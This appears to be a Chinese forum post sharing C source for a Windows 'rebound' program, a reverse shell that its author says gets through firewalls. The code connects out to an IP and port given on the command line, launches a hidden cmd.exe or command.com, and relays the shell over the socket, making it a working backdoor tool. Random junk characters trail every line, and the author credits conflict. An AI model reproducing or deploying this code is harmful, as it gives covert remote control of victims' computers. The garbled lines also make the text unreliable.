这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 *vc=>AEc
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/* ============================== ML'4 2z
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Rebound port in Windows NT b#bdz1@s
By wind,2006/7 *Dtwr
===============================*/ nr*~R-,\
#include DeE-M"
#include >8_#L2@
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#pragma comment(lib,"wsock32.lib") E/|]xKG
}hrLM[
void OutputShell(); s\i=-`
SOCKET sClient; G;_QE<V~_
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; iwWy]V m7
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void main(int argc,char **argv) A"x1MjuqLM
{ zvf:*Na")
WSADATA stWsaData; '\\dh
int nRet; ";E Mu(IXb
SOCKADDR_IN stSaiClient,stSaiServer; 'bGL@H
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if(argc != 3) Ug_5INK
{ yn<H^c
printf("Useage:\n\rRebound DestIP DestPort\n"); FL% GW:
return; ,cPNZ-%
} rLs)*A!
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WSAStartup(MAKEWORD(2,2),&stWsaData); Oe4 l`
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Z]D O
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stSaiClient.sin_family = AF_INET; Gc>bli<-
stSaiClient.sin_port = htons(0); ez=$ ]cln
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 5%"${ywI
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) /tl/%:U*.
{ 1RM;"b/
printf("Bind Socket Failed!\n"); s,m+q)
return; Yq}7x1mm
} G,M &z>ub0
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stSaiServer.sin_family = AF_INET; e`zEsLs@
stSaiServer.sin_port = htons((u_short)atoi(argv[2]));
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); -Bbg'=QZa
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ?(Q" y\
{ >Z?fX
printf("Connect Error!"); q4{Pm $OW
return; # eqt{
} vl*CU"4
OutputShell();
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} '$pT:4EuGq
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void OutputShell() h=SQ]nV{
{ 1MHP#X;|
char szBuff[1024]; m6^Ua
SECURITY_ATTRIBUTES stSecurityAttributes; @*q WV*$h
OSVERSIONINFO stOsversionInfo; 35z]pn%L
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; w]GoeIg({
STARTUPINFO stStartupInfo; yi<&'L;
char *szShell; r \H+=2E'
PROCESS_INFORMATION stProcessInformation; Uo v%12
unsigned long lBytesRead; Be}e%Rk
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); .+>w0FG.
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); )hmU/E@
stSecurityAttributes.lpSecurityDescriptor = 0; geU-T\1[l
stSecurityAttributes.bInheritHandle = TRUE; i3t=4[~oL
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); R 5 47
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); {9U<!
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); BM=`zGh"
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `?LQd2p
stStartupInfo.wShowWindow = SW_HIDE; ta"/R@ k*
stStartupInfo.hStdInput = hReadPipe; SY|r'8Z%Q
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 'c5#M,G~
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GetVersionEx(&stOsversionInfo); 4"1OtBU3
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switch(stOsversionInfo.dwPlatformId) &i"33.#]
{ jm&?;~>O
case 1: I2kqA5>)j
szShell = "command.com"; JbpKstc;
break; -/|O*oZ
default: 2A|^6#XN'
szShell = "cmd.exe"; 0i\ol9,bf
break; "Pi\I9M3
} ?xh_qy;
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ^_6%dKLK
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send(sClient,szMsg,77,0); 4NN-'Z>a
while(1) 3lH#+@
{ 7vUfA"
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); c_clpMx=
if(lBytesRead) v'i"Q
{ w,TyV%b[_
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); !+Z"7e
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send(sClient,szBuff,lBytesRead,0); ANtp7ad
} X<@yt HBv
else 6GX'&z
{ N[X%tf\L]F
lBytesRead=recv(sClient,szBuff,1024,0); 6i[\?7O'0
if(lBytesRead<=0) break; GjZ@fnF
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); {:m5<6?x)
} uA=6 HpDB
} nV 38Mj2U
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return; IIeEe7%#
}